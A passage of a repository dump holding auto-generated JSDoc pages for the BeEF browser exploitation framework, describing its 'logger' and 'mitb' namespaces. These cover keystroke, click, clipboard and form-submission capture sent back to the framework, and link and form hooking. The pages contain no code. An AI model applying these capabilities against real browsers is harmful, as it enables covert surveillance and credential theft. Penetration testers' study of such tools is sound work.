href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/beef.logger.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: logger</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: logger</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>logger</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides logging capabilities.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\".events\"><span class=\"type-signature\">(static) </span>events<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Holds events created by user, to be sent back to BeEF</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line21\">line 21</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".id\"><span class=\"type-signature\">(static) </span>id<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Internal logger id</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line17\">line 17</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".in_submit\"><span class=\"type-signature\">(static) </span>in_submit<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Prevents from recursive event handling on form submission</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line50\">line 50</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".stream\"><span class=\"type-signature\">(static) </span>stream<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Holds current stream of key presses</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line25\">line 25</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".target\"><span class=\"type-signature\">(static) </span>target<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Contains current target of key presses</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line29\">line 29</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".time\"><span class=\"type-signature\">(static) </span>time<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Holds the time the logger was started</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line33\">line 33</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".click\"><span class=\"type-signature\">(static) </span>click<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Click function fires when the user clicks the mouse.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line155\">line 155</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".console\"><span class=\"type-signature\">(static) </span>console<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Console function fires when data is sent to the browser console.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line222\">line 222</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".copy\"><span class=\"type-signature\">(static) </span>copy<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Copy function fires when the user copies data to the clipboard.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line198\">line 198</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".cut\"><span class=\"type-signature\">(static) </span>cut<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Cut function fires when the user cuts data to the clipboard.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line210\">line 210</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".e\"><span class=\"type-signature\">(static) </span>e<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Holds the event details to be sent to BeEF</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line37\">line 37</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".get_dom_identifier\"><span class=\"type-signature\">(static) </span>get_dom_identifier<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Translate DOM Object to a readable string</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line296\">line 296</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".get_id\"><span class=\"type-signature\">(static) </span>get_id<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get id</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line147\">line 147</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".get_timestamp\"><span class=\"type-signature\">(static) </span>get_timestamp<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Formats the timestamp</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line312\">line 312</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>timestamp string</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".keypress\"><span class=\"type-signature\">(static) </span>keypress<span class=\"signature\">(e:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Keypress function fires everytime a key is pressed.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>e:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>event object</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line186\">line 186</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".parse_stream\"><span class=\"type-signature\">(static) </span>parse_stream<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Parses stream array and creates history string</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line320\">line 320</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".paste\"><span class=\"type-signature\">(static) </span>paste<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Paste function fires when the user pastes data from the clipboard.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line234\">line 234</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".push_stream\"><span class=\"type-signature\">(static) </span>push_stream<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Pushes the current stream to the events queue</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line285\">line 285</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".queue\"><span class=\"type-signature\">(static) </span>queue<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Queue results to be sent back to framework</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line350\">line 350</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".start\"><span class=\"type-signature\">(static) </span>start<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Starts the logger</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line55\">line 55</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".stop\"><span class=\"type-signature\">(static) </span>stop<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Stops the logger</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line130\">line 130</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".submit\"><span class=\"type-signature\">(static) </span>submit<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Submit function fires whenever a form is submitted\nTODO: Cleanup this function</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line247\">line 247</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".win_blur\"><span class=\"type-signature\">(static) </span>win_blur<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Fires when the window element has lost focus</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line176\">line 176</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".win_focus\"><span class=\"type-signature\">(static) </span>win_focus<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Fires when the window element has regained focus</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"logger.js.html\">logger.js</a>, <a href=\"logger.js.html#line167\">line 167</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.mitb.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: mitb</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: mitb</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>mitb</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".endSession\"><span class=\"type-signature\">(static) </span>endSession<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Signals the Framework that the user has lost the hook</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line241\">line 241</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".fetch\"><span class=\"type-signature\">(static) </span>fetch<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Fetches a hooked link with AJAX</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line181\">line 181</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".fetchForm\"><span class=\"type-signature\">(static) </span>fetchForm<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Fetches a hooked form with AJAX</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line161\">line 161</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".fetchOnclick\"><span class=\"type-signature\">(static) </span>fetchOnclick<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Fetches a window.location=http://domainname.com and setting up history</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line202\">line 202</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hook\"><span class=\"type-signature\">(static) </span>hook<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Initializes the hook on anchors and forms.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n  